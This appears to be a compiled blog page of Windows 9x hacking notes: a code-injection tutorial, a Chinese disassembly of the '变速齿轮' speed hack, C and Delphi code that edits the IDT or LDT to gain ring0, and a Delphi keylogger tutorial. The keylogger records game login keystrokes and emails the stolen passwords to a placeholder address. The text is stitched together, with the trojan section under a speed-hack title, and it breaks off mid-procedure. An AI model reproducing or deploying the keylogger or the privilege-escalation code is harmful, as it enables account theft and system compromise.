--------------------------------------

Now let's take a deep breath.We are almost through.As usually I want to present
you an interesting trick.Let's inject some code into another process address space.We know how,but first let's talk about a little impediment.We need some committed memory to store our brand new code.A VirtualAllocEx function was not provided in WIN95 API.It seems that this one along with it's companion VirtualFreeEx exists under NT.
If our code is very little we can use the space provided by our compilers: The MS-DOS stub of the PE files,copyright strings or even unnecessary data strings(I dont care too much if in Help About the program says that it was developed by "!^$##@*^$f76").Another method is to save a code page of target process , overwrite with new code , execute new code , restore code page.Let's see this step by step.


1. Use CreateProcess to create a process for being debugged.
2. Build the "Main Loop" WaitForDebugEvent - ContinueDebugEvent
3. Stop the target thread. Use SuspendThread.
4. Use VirtualProtectEx to set a read-write permission to target page
5. Use ReadProcessMemory to save the target page.
6. Use GetThreadContext to save the thread context.
7. Use WriteProcessMemory to write new code page.
8 Make sure that the last instruction in the new code is a INT 3.We need this to
take control when our code finished.The INT 3 will be trapped by our little
debugger-like application EXCEPTION_DEBUG_EVENT.Make sure that is a
EXCEPTION_BREAKPOINT and has occurred at the address there our INT 3 resides.
9. Make a temporary copy of saved CONTEXT structure.
10. Set the new eip in the temporary CONTEXT structure (You now what is eip , didn't you?
11.Resume execution of the thread.Watch it executing our new code.When INT 3 gets executed our little loader will trap it.The target thread is stopped.
12.Restore the original code page using WriteProcessMemory.
13.Restore the protection attributes on target page.
14.Use SetThreadContext to set thread context from the first CONTEXT structure.
15.Resume thread.

If we need that our resides in target process address space at the same time with the original code,and our code is BIG we have to commit some memory in the target process address space.The code to call VirtuallAlloc is very small,so use previous method to call VirtualAlloc in the context of the target process.This will commit memory in target's address space and return a pointer to it.Several kb should be more than enough,so don't be a fool and start to commit cosmic values like 10 Mb.I wonder if there is another method to implement a VirtualAllocEx under WIN95.I keep looking.Anyone now if VirtualAllocEx is implemented in Memphis(future Windows 98)?.
If you ever need to convert a segment relative address in linear virtual address you can use GetThreadSelectorEntry.
Final words: !!WATCH!! the stack.DON'T mess IT.If you do , you will be sorry.

Chapter7.Notes
--------------

1.Any corrections and additions are wellcomed.Please append them at the end of this
document and also include your name (or your nickname ).Slightly editing minor mistakes and typos is admitted in-place and without notice.

Thursday, February 24, 2005

 

Some notes on Gear

1.
“变速齿轮”再研究

作者:bbbkom
出处:http://www.csdn.net

提起“变速齿轮”(以下简称“齿轮”)这个软件,大家应该都知道吧,该软件号称是全球第一款能改变游戏速度的程序。我起初用时觉得很神奇,久而久之就不禁思考其实现原理了,但苦于个人水平有限,始终不得其解,成了长驻于脑中挥散不去的大问号。
偶然一天在bbs上看到了一篇名为《“变速齿轮”研究手记》(以下简称《手记》)的文章,我如获至宝,耐着性子把文章看完了,但之后还是有很多地方不解,不过还是有了比较模糊的认识:原来齿轮是通过截获游戏程序对时间相关函数的调用并修改返回结果实现的呀。
为了彻彻底底地弄清齿轮的原理,我这次打算豁出去了。考虑到《手记》的作者从是研究的“齿轮”的反汇编代码的,那我也照样从反汇编代码开始。不过自认为汇编功底不够,又从图书馆借了几本关于windows底层机制和386汇编的书,在经过差不多两周的“修行”之后,自我感觉有点好啦,哈哈,我也有点要迫不及待地把“齿轮”大卸八块了!
在动手之前,我又把《手记》看了一遍,这次可就清楚多了:通过调用门跳到ring0级代码段,修改各系统时间相关函数的前8个字节为jmp指令,转跳到“齿轮”映射到2g之上的代码,达到截获对各系统时间相关函数的调用的目的。但同时我的疑惑也更明确了:
1.“齿轮”怎样建立指向自己映射到2g以上内存的代码的调用门描述符的;
2.“齿轮”怎样将自己的代码映射到2g以上线性地址的;
3.映射到2g之上的代码是怎样做到在代码基址更改的情况仍能正确运行的
带着这样的疑问,我正式开始了对“齿轮”反汇编代码的分析。工具嘛,不用说当
然是softice for windows98、w32dasm,ok,出发啦!
我的“齿轮”版本是0.221 for win98和winme的,内含有两个文件(变速齿轮.exe
和hook.dll)。先看看hook.dll里面有些什么,用w32dasm将hook.dll反汇编,看看它的输出函数:
?ghwnd@@3pauhwnd__@@a
?gnhotkey1@@3ka
?gnhotkey2@@3ka
?gnhotkey3@@3ka
?gnhotkey4@@3ka
?nhook@@3ha
?sethook@@yahpauhwnd__@@@z
?unhook@@yahxz
看函数名好象该dll只是安装钩子捕获变速热键的,与我的研究目的没太大的关系, 跳过去!
再看看变速齿轮.exe的导入函数,timegettim、gettickcount等时间相关的函数都
在里面。嘿,还有createfilemappinga和mapviewoffileex,看来“齿轮”是用这两个函
数创建映射文件的。以下列出几个关键的导入函数:
hook.?gnhotkey1@@3ka
hook.?gnhotkey2@@3ka
hook.?gnhotkey3@@3ka
hook.?gnhotkey4@@3ka
hook.?sethook@@yahpauhwnd__@@@z
kernel32.createfilemappinga
kernel32.getmodulefilenamea
kernel32.getmodulehandlea
kernel32.gettickcount
kernel32.mapviewoffileex
kernel32.queryperformancecounte
user32.killtimer
user32.sendmessagea
user32.settimer
winmm.timegettime
winmm.timesetevent
既然“齿轮”截获了timegettime,那我就跟踪timegettime函数的执行情况。
我先写了个win32 app (以下简称app),当左击客户区时会调用timegettime并将返回的结果输出至客户区。运行这个程序,打开“齿轮”,改变当前速度。
ctrl + d 呼出softice,bpx timegettime ,退出,再左击app客户区,softice跳
出。哈,果然timegettime函数的首指令成了jmp 8xxx 002a ,好f8继续执行,进入了“ 齿轮”映射到2g线性地址之上的代码。一路f8下去,发现接着“齿轮”把timegettime 首指令恢复,并再次调用timegettime,这样就得到了timegettime的正确结果,保存结果。“齿轮”再把timegettime首指令又改为jmp 8xxx 002a 。接下来都猜得到“齿轮”要干什么了!没错,将得到的返回值修改后返回至调用timegettime的程序app。
我仔细分析了一下,“齿轮”修改返回值的公式如下:
倍数*(返回值-第一次调用timegettime的返回值)
修改后的返回值=---------------------------------------------------+上一次修改后的返回值
100000
公式中“上次修改后的返回值”是自己猜测的未经证实,仅供参考。
代码分析已经进行一部分了,可我之前的疑问仍未解决,“齿轮”是怎么将代码映
射的?又是怎么得到修改代码的权限的?
既然“齿轮”中调用了createfilemappinga,我想其安装调用门,映射代码的初始
化部分应该就在调用该函数代码的附近。好,沿着这个思路,呼出softice,在createf ilemappinga处设置断点,将“齿轮”关闭后再运行。softice跳出,停在了createfile mappinga处,f11回到“齿轮”的代码。看到了“齿轮”调用createfilemappinga的形式
如下:
createfilemappinga(ff,0,4,0,10000,0);
可见“齿轮”创建了长度为0x10000的映射文件,继续,“齿轮”接着又调用
mapviewoffileex,调用形式如下:
mapviewoffileex(edx,2,0,0,0,eax);
//edx为createfilemappinga返回的映射文件句柄
//eax为申请映射代码的基址,第一次调用时eax为0x8000 0000
这里就是关键了,“齿轮”要将映射文件映射至基址为0x8000 0000 的内存空间中,可并不见得windows就真的允许其映射呀?果然,“齿轮”在在调用之后判断返回值是否有效,无效则将上次申请的基址加上0x1000,再次调用mapviewoffileex,一直循环到成功为止,再将返回的地址保存。
接下来“齿轮”将原“齿轮”exe中的截获api的代码逐字节拷贝到映射区域去。至
此,“齿轮”已经将关键代码映射到2g以上线性地址中了。
我再f8,哈哈,和熟悉的sgdt指令打了个照面。“齿轮”保存全局描述符表线性基 址,再用sldt指令保存局部描述符表索引,计算出ldt基址。接着呢“齿轮”在局部描述表中创建了一个特权等级为0的代码段指向需要利用ring0特权修改代码的“齿轮”自己的代码,并把局部描述表中索引为2的调用门指向的地址改为“齿轮”映射到高于2g的代码。
然后“齿轮”依次调用各时间相关的api,保存其返回值留做计算返回时结果用。
“齿轮”又依次调用映射到高于2g的代码修改各api的首指令。到了这里,“齿轮”的初
始化部分就结束了,只等着还蒙在鼓里的游戏上钩啦,哈哈!
结束代码只不过是作些恢复工作罢了,仅仅是初始化代码的逆过程,所以就不再
赘述(其实是我自己懒得看了,^_^!).
至此,我对“齿轮”的加速原理已有大致的了解,深刻感受到“齿轮”代码的精巧, 所以觉得有必要将"齿轮"中所运用到的一些技巧作一个总结:
1.基址无关代码的编写
姑且以上面一句话作标题,^_^。看了“齿轮”的初始化代码,知道其映射代码
的基址差不多是随机的,那么“齿轮”是怎么保证映射后的代码能正常运行的呢?如果 代码是完全顺序执行的倒没什么问题,但如果要调用自己映射代码中的子程序呢?呵呵,就只有运行时计算出子程序的入口地址并调用了,不过还是要先得到映射代码所在的地址才行。“齿轮”简单地用两条指令就得到当前正在执行的指令的地址,具体如下(地址为假设的):
0:0 call 5
0:5 pop esi
现在esi中的值就是5了,哈哈!
这里的call用的是近调用,整条指令为e800000000,即为调用下一条指令.所进行
的操作只不过是把下一条指令的地址入栈而已.再pop将返回地址(即pop指令本身的地址)取出.
2.修改调用门,生成jmp指令,修改代码
这些都是高度依赖于cpu的操作,技巧性也很强,主要是钻了操作系统的漏洞。比如“齿轮”就是用sgdt,sldt获得全局和局部描述符表基址来安装调用门,通过访问调用门来获取ring0权限作一些平时不为系统所允许的操作;而cih病毒是用sidt获得中断描述符表基址安装中断门然后出发软中断获取ring0权限的,原理都是一样的。这些在水木上讨论过很多遍,大家都很熟悉,所以也就不敢班门弄斧,写到此为止。
3.64k代码编写
由调用createfilemappinga函数参数可知“齿轮”只映射10000(64k)大小的
区域,所以其映射在2g之上的代码和数据决不能大于64k。我想作者之所以选择64k为映射区域的大小,可能是与调用子程序或数据时容易计算地址有关。在映射代码的任意一处得到当前指令地址之后将其低16位置0即可得到映射代码的基地址,再加上子程序入口或数据的偏移即可求得其绝对地址。

我的评论:
一句话:佩服“齿轮”的作者王荣先生。
“齿轮”的代码表现他对windows运行机制的深刻理解以及深厚的汇编功底还有丰
富的想象力。对我来说“齿轮”仿佛就是一件精美的艺术品,每个细处都很值得玩味一 番,所以我才在看过“齿轮”代码之后有了把我的分析过程用笔写下来的冲动。但同时 我又不得不承认“齿轮”的功能的实现是依靠其高度技巧化的代码实现的,换句话说就 是这种的方法局限性实在是太大了。不就是截获api嘛,用的着这么麻烦吗?
为了证实自己的想法,我在codeguru上直接找了个hook api 的代码,该代码是通过安装wh_cbt类型全局钩子在所有被插入dll的进程中修改进程pe映像的输入节达到截获api的(这种方法在《windows核心编程》中有详细说明)。把代码稍做修改,就能工作了(在星际争霸下试过,可以改变游戏速度)。尽管只在98下试过,但我觉得肯定也能在2000下用,因为代码中只用了一两句汇编指令,而且整个程序都是在ring3下运行的,没有作出什么出轨的举动。当然这种方法也有缺点,就是对用loadlibrary加载winmm.dll再用getprocaddress获取timegettime地址的api调用不起作用(原因在《windows核心编程》中有说明)。
我打算在将测试用程序稍稍完善后再公布源代码,届时欢迎大家下载。

我的感谢:
在我彻底弄清“齿轮”的代码之后,已经是第三天的上午了,无奈自己才疏学浅,
全不像《手记》的作者只花了一个晚上就弄清楚,我可是花了一个上午、两个下午、两个晚上才结束了战斗,实在是惭愧呀。
自己之所以能自得其乐地坚持了两天多,是与寝室兄弟小强的支持分不开的。穷 困潦倒的我在这几天不知道总共抽了他多少支烟,无以为报,只有在这里说一声谢谢了!另外还要感谢sunlie非常地阅读本文,指出了原文中的错误并提出了非常宝贵的意见!
最后要说的就是个人水平有限,文中难免出现错误,欢迎大家讨论!^_^
附a:
使用工具:softice for windows98,w32dasm,visualc++ 6.0
操作系统:window98 2nd
分析目标:变速齿轮 for 98me 版本:0.221
参考书籍或文章:
80x86汇编语言程序设计教程 杨季文等编著 清华大学出版社
windows剖析--初始化篇及内核篇 清华大学出版社
虚拟设备驱动程序开发
intel 32位系统软件编程
80x86指令参考手册
《“变速齿轮”研究手记》
附b:
“齿轮”关键代码完全注释
一、初始化部分(从"齿轮"调用createfilemappinga函数开始分析)
0167:00401b0e push 00
0167:00401b10 push 00010000
0167:00401b15 push 00
0167:00401b17 push 04
0167:00401b19 push 00
0167:00401b1b push ff
0167:00401b1d call [kernel32!createfilemappinga]
;调用createfilemappinga
; 调用形式如右:createfilemappinga(ff,0,4,0,10000,0)
0167:00401b23 mov ecx,[ebp-30]
0167:00401b26 mov [ecx+00000368],eax
0167:00401b2c mov dword ptr [ebp-14],80000000
0167:00401b33 jmp 00401b41
0167:00401b35 mov edx,[ebp-14]
0167:00401b38 add edx,00010000
;申请基址加0x10000
0167:00401b3e mov [ebp-14],edx
0167:00401b41 mov eax,[ebp-14]
0167:00401b44 push eax ;映射文件基址
0167:00401b45 push 00 ;映射的字节数
0167:00401b47 push 00 ;文件偏移低32位
0167:00401b49 push 00 ;文件偏移高32位
0167:00401b4b push 02 ;访问模式
0167:00401b4d mov ecx,[ebp-30]
0167:00401b50 mov edx,[ecx+00000368]
0167:00401b56 push edx
;createfilemappinga返回的映射文件句柄
0167:00401b57 call [kernel32!mapviewoffileex]
; 调用形式如右:mapviewoffileex(edx,2,0,0,0,eax)
0167:00401b5d mov ecx,[ebp-30]
;[ebp-30]为即将映射到2g之上
0167:00401b60 mov [ecx+0000036c],eax
; 的代码的数据域的起始地址
0167:00401b66 mov edx,[ebp-30]
0167:00401b69 cmp dword ptr [edx+0000036c],00
;检查mapviewoffileex
0167:00401b70 jz 00401b74
;返回值,若为0则继续调
0167:00401b72 jmp 00401b76 ;调用mapviewoffileex
0167:00401b74 jmp 00401b35 ;直至成功为止
0167:00401b76 mov eax,[ebp-30]
0167:00401b79 mov ecx,[eax+0000036c]
0167:00401b7f mov [ebp-08],ecx
;映射文件起始地址存入[ebp-08]
0167:00401b82 call [winmm!timegettime]
0167:00401b88 mov [ebp-14],eax
;将初次调用timegettime
0167:00401ba0 mov ecx,[ebp-08]
;的返回值保存到[ebp-14]
0167:00401ba3 mov edx,[ebp-14]
;以及映射文件基址+ff30处
0167:00401ba6 mov [ecx+0000ff30],edx
...省略的代码类似的保存调用初次gettickcount,queryperformancecounter的返回值

0167:00401bed mov dword ptr [ebp-14],00000000
0167:00401bf4 mov edx,[ebp-30]
0167:00401bf7 mov eax,[edx+0000036c]
0167:00401bfd mov ecx,[ebp-14]
0167:00401c00 mov byte ptr [ecx+eax+0000f000],9a
;9a为远调用的指令码
0167:00401c08 mov edx,[ebp-14]
0167:00401c0b add edx,01
0167:00401c0e mov [ebp-14],edx
0167:00401c11 mov eax,[ebp-14]
0167:00401c14 add eax,04
0167:00401c17 mov [ebp-14],eax
0167:00401c1a mov ecx,[ebp-30]
0167:00401c1d mov edx,[ecx+0000036c]
0167:00401c23 mov eax,[ebp-14]
0167:00401c26 mov byte ptr [eax+edx+0000f000],14
;14为调用门描述符的索引
0167:00401c2e mov ecx,[ebp-14]
0167:00401c31 add ecx,01
0167:00401c34 mov [ebp-14],ecx
0167:00401c37 mov edx,[ebp-30]
0167:00401c3a mov eax,[edx+0000036c]
0167:00401c40 mov ecx,[ebp-14]
0167:00401c43 mov byte ptr [ecx+eax+0000f000],00
;call指令其他部分
0167:00401c4b mov edx,[ebp-14]
0167:00401c4e add edx,01
0167:00401c51 mov [ebp-14],edx
0167:00401c54 mov eax,[ebp-30]
0167:00401c57 mov ecx,[eax+0000036c]
0167:00401c5d mov edx,[ebp-14]
0167:00401c60 mov byte ptr [edx+ecx+0000f000],c2
0167:00401c68 mov eax,[ebp-14]
0167:00401c6b add eax,01
0167:00401c6e mov [ebp-14],eax
0167:00401c71 mov ecx,[ebp-30]
0167:00401c74 mov edx,[ecx+0000036c]
0167:00401c7a mov eax,[ebp-14]
0167:00401c7d mov byte ptr [eax+edx+0000f000],00
0167:00401c85 mov ecx,[ebp-14]
0167:00401c88 add ecx,01
0167:00401c8b mov [ebp-14],ecx
0167:00401c8e mov edx,[ebp-30]
0167:00401c91 mov eax,[edx+0000036c]
0167:00401c97 mov ecx,[ebp-14]
0167:00401c9a mov byte ptr [ecx+eax+0000f000],00
0167:00401ca2 mov edx,[ebp-14]
;以上代码为在映射代码偏移f000处写入指令call 0014:0000
0167:00401ca5 add edx,01
;指令 a91400c20000共6个字节
0167:00401ca8 mov [ebp-14],edx ;
0167:00401cab mov esi,0040213b
;要复制的代码的起始地址
0167:00401cb0 mov edi,[ebp-08]
;要复制代码的目标地址(映射区域中)
0167:00401cb3 mov ecx,00402688
;402688为要复制的代码的末地址
0167:00401cb8 sub ecx,esi
0167:00401cba repz movsb ;将代码全部复制到映射区域
0167:00401cbc sgdt fword ptr [ebp-1c] ;这句开始就很关键了
0167:00401cc0 lea eax,[ebp-001c]
0167:00401cc6 mov eax,[eax+02] ;取gdt线性基址
0167:00401cc9 xor ebx,ebx
0167:00401ccb sldt bx ;取ldt在gdt中的偏移
0167:00401cce and bx,-08
0167:00401cd2 add eax,ebx
0167:00401cd4 mov ecx,[eax+02]
0167:00401cd7 shl ecx,08
0167:00401cda mov cl,[eax+07]
0167:00401cdd ror ecx,08 ;以上计算出ldt线性基址
0167:00401ce0 mov [ebp-0c],ecx ;保存
0167:00401ce3 mov eax,[ebp-30]
0167:00401ce6 mov ecx,[ebp-0c]
0167:00401ce9 mov [eax+00000370],ecx
0167:00401cef mov edx,[ebp-30]
0167:00401cf2 mov eax,[edx+0000036c]
0167:00401cf8 mov ecx,[ebp-0c]
0167:00401cfb mov [eax+0000fe00],ecx
;将ldt线性基址保存至映射代码中
0167:00401d01 mov ax,cs
;得到当前代码段描述符号
0167:00401d04 and ax,fff8
0167:00401d08 mov [ebp-10],ax
0167:00401d0c mov edx,[ebp-10]
0167:00401d0f and edx,0000ffff
;edx为代码段描述符在ldt中的偏移量
0167:00401d15 mov eax,[ebp-30]
0167:00401d18 mov ecx,[eax+00000370] ;ecx此时为ldt线性基址 0167:00401d1e mov eax,[ebp-30]
0167:00401d21 mov eax,[eax+00000370]

;eax此时为ldt线性基址

0167:00401d27 mov esi,[edx+ecx]
0167:00401d2a mov [eax+08],esi
0167:00401d2d mov ecx,[edx+ecx+04]
;以上将当前代码段描述符复制到
0167:00401d31 mov [eax+0c],ecx ;ldt第1项
0167:00401d34 mov edx,[ebp-30]
0167:00401d37 mov eax,[edx+00000370]
0167:00401d3d mov cl,[eax+0d]
0167:00401d40 and cl,9f
0167:00401d43 mov edx,[ebp-30]
0167:00401d46 mov eax,[edx+00000370]
0167:00401d4c mov [eax+0d],cl
;以上修改ldt第1项的dpl为0,则当由调用门转到该段代码时即获得ring0权限
0167:00401d4f mov eax,[ebp-0c]
0167:00401d52 add eax,10 ;获得ldt中索引为2的调用门地址
0167:00401d55 mov ebx,0040213b
0167:00401d5a mov [eax],ebx
0167:00401d5c mov [eax+04],ebx
0167:00401d5f mov word ptr [eax+02],000c
0167:00401d65 mov word ptr [eax+04],ec00 ;调用门修改完毕
0167:00401d6b mov ecx,[ebp-08]
0167:00401d6e mov edx,[winmm!timegettime]
0167:00401d74 mov [ecx+0000fee0]

;edx;保存timegettime入口地址
...省略部分依次保存gettickcount,getmessagetime,timesetevent,settimer,
timegetsystemtime,queryperformancecounter入口地址
0167:00401dd2 mov ecx,[ebp-08]
0167:00401dd5 mov eax,[winmm!timegettime]
0167:00401dda mov ebx,[eax]
0167:00401ddc mov [ecx+0000fe40],ebx
0167:00401de2 mov ebx,[eax+04]
0167:00401de5 mov [ecx+0000fe44],ebx
;保存timegettime函数前8个字节指令
...省略部分依次保存gettickcount,getmessagetime,timesetevent,
timegetsystemtime , queryperformancecounter前8个字节指令
0167:00401e6d mov byte ptr [ecx+0000fe90],e9
0167:00401e74 mov eax,00402165
0167:00401e79 sub eax,0040213b
;eax为截获代码在映射代码中的偏移
0167:00401e7e add eax,ecx ;计算出截获代码的线性入口地址
0167:00401e80 sub eax,[winmm!timegettime]
0167:00401e86 sub eax,05 ;jmp指令总长5个字节
0167:00401e89 mov [ecx+0000fe91],eax
;计算生成从timegettime跳到截获代码的jmp指令并保存

...省略部分依次计算并生成gettickcount,getmessagetime,timesetevent,
timegetsystemtime , queryperformancecounter跳到截获代码的jmp指令
并保存

0167:00401f58 cli ;关闭中断,谨防修改代码时发生意外
0167:00401f59 mov eax,004021f3 ;
0167:00401f5e sub eax,0040213b;计算子程序在映射代码中的偏移
0167:00401f63 add eax,[ebp-08] ;eax=8xxx 00b8
0167:00401f66 push eax ;传入参数eax为修改timegettime代码的
;子程序入口地址
0167:00401f67 mov eax,[ebp-08] ;调用8xxx 0000
0167:00401f6a call eax ;返回时timegettime首指令被更改

...省略部分依次修改gettickcount,getmessagetime,timesetevent,
timegetsystemtime , queryperformancecounter函数的首指令

0167:00401ff seti ;设置中断,初始化代码结束
二、截获时间函数部分(以timegettime为例子,代码以跟踪顺序列出)
timegettime
jmp 832a 002a
;这是timegettime被修改后的首指令
0167:832a 002a cli
;此时[esp]=40bf2c,即游戏程序中调用timegettime函数的下一条指令
...(6个)各寄存器分别入栈 且mov ebp,esp
0167:832a 0033 call 832a 0038
;将当前eip入栈(即下一条指令的地址)
0167:832a 0038 pop edi ;取出当前指令地址
xor di , di
mov esi , edi
;将64k内存首地址赋给esi
;此时esi=edi=832a 0000
add esi , 0040 2102
sub esi , 0040 213b ;求出映射代码首地址
push esi
0167:832a 004b call edi ;esi为传进的参数
;返回时已经将timegettime代码还原
0167:832a 004d call 832a 0052 ;
0167:832a 0052 pop edi
xor di ,di ;故技重施
call [edi + 0000feed];调用原timegettime函数
sub eax,[edi + 0000 ff30]
;减去第一次调用timegettime的结果
mul dword ptr [edi+0000 fe30]
;乘以用户所指定的倍数
mov ebx ,00100000
div ebx
;除以常数100000
add eax ,[edi+ 0000fe20]
mov eax,004021f3
sub eax,0040213b
add eax,edi
;以上指令为修改timegettime函数返回值
push eax
;eax为传进的参数
call edi
;返回时又将timegettime首指令换成jmp
...恢复各寄存器的值,eax中为修改后的返回值
ret ;此时[esp]=40bf2c,执行ret将返回到游戏中去
;
0167:832a 0000 call 832a 0005
0167:832a 0005 pop edi
xor di ,di ;老套了撒^_^
mov esi ,[edi+0000 fe00]
;此地址保存着ldt的线性基址
mov eax,[esp+04]
mov [esi +10],ax
shr eax,10
mov [esi+16],ax
;以上代码将ldt中索引为2的调用门描述符的偏移改为传入的参数
...
mov eax,0000 0f00
call eax
;调用子程序修改timegettime代码
0167:832a 0027 ret 4
;弹出参数,返回
;
0167:832a f000 call 0014:00000000
ret 0
;
000c:832a 0097 call 832a 009c
000c:832a 009c pop edi
mov eax,[edi+0000 fe40]
mov ebx,[edi+0000 fee0]
mov [ebx],eax
mov eax,[edi+0000 fe44]
mov [ebx+04],eax
retf
注:edi+0000 fe40起前8个字节为原timegettime函数的指令
edi+0000 fee0保存着timegettime函数的入口地址
以上即恢复timegettime前8个字节的代码
;
000c:832a 00b8 call 832a 00bd
000c:832a 00bd pop edi
xor di ,di
...
mov eax,[edi+0000 fe90]
mov ebx,[edi+0000 fee0]
mov [ebx],eax
mov eax,[edi+0000fe94]
mov [ebx+04],eax
retf

注:edi+0000 fe90 起前8个字节保存着jmp 832a 002a 指令
是由“齿轮”初始化部分代码计算出来的,以上代码将jmp 832a 002a
写入timegettime函数

(按:好文。讨厌那种上来走秀,却又遮遮掩掩的行为。附一个简单点的VC实现

// File name : SetClock.cpp
// Function1 : SetClock9x(int)
// Function2 : SetClockNT(int)
// Chu Rui 2001.3.1

#include "stdafx.h"
#include "ntport.h"

#define FREE_INT_NO 5

void Ring0()
{ //在Windows9x下进入ring0后进行的操作
__asm
{
cli
mov al,34h
out 43h,al //写入8253控制寄存器,设置写0号定时器
mov ax,bx
out 40h,al //写定时值低位
mov al,ah
out 40h,al //写定时值高位
sti
iretd;
}
}

void SetClockNT(int freq)
{ //NT下的操作
//这里使用了NT Port库
Outport(0x43,0x34); //写入8253控制寄存器,设置写0号定时器
Outport(0x40,freq&0xff); //写定时值低位
Outport(0x40,(freq>>8)&0xff); //写定时值高位
}

void SetClock9x(int freq)
{
union Function_Pointer
{
void (*pointer)();
char bytes[sizeof(void *)];
}OldIntAddress,NewIntAddress;

int IDTAddress; //IDT表基地址
int IDTItemAddress; //要修改的中断门所在地址
char *Pointer; //要修改的中断门所在地址,指针形式

__asm
{
push eax
sidt [esp-2]
pop eax
mov IDTAddress,eax //得到IDT表基地址
}

IDTItemAddress=FREE_INT_NO*8+IDTAddress;
Pointer=(char *)IDTItemAddress;
NewIntAddress.pointer=Ring0;

OldIntAddress.bytes[0]=Pointer[0];
OldIntAddress.bytes[1]=Pointer[1];
OldIntAddress.bytes[2]=Pointer[6];
OldIntAddress.bytes[3]=Pointer[7]; //保存旧的中断门

Pointer[0]=NewIntAddress.bytes[0];
Pointer[1]=NewIntAddress.bytes[1];
Pointer[6]=NewIntAddress.bytes[2];
Pointer[7]=NewIntAddress.bytes[3]; //设置新的中断门

__asm
{
mov ebx,freq
int FREE_INT_NO //产生中断,进入ring0
}

Pointer[0]=OldIntAddress.bytes[0];
Pointer[1]=OldIntAddress.bytes[1];
Pointer[6]=OldIntAddress.bytes[2];
Pointer[7]=OldIntAddress.bytes[3]; //恢复旧的中断门
}


2.
变速齿轮的一种实现方法(内有中断门的创建与调用)

By windsi
From http://blog.csdn.net/windsi/archive/2005/04/07/339145.aspx

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址



nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件







2003-5-15 10:38:09



我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03; // 设一个中断号
var
